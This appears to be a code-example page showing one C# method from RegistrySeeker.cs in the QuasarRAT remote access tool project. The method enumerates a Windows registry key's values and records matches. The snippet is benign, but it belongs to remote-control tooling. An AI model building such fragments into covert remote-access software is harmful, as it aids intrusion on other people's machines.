コード例 #1
0
ファイル: RegistrySeeker.cs プロジェクト: phantomts/QuasarRAT
        private void ProcessKey(RegistryKey key, string keyName)
        {
            if (key != null)
            {
                List <RegValueData> values = new List <RegValueData>();

                foreach (string valueName in key.GetValueNames())
                {
                    RegistryValueKind valueType = key.GetValueKind(valueName);
                    object            valueData = key.GetValue(valueName);
                    values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData));
                }

                AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount);
            }
            else
            {
                AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
            }
        }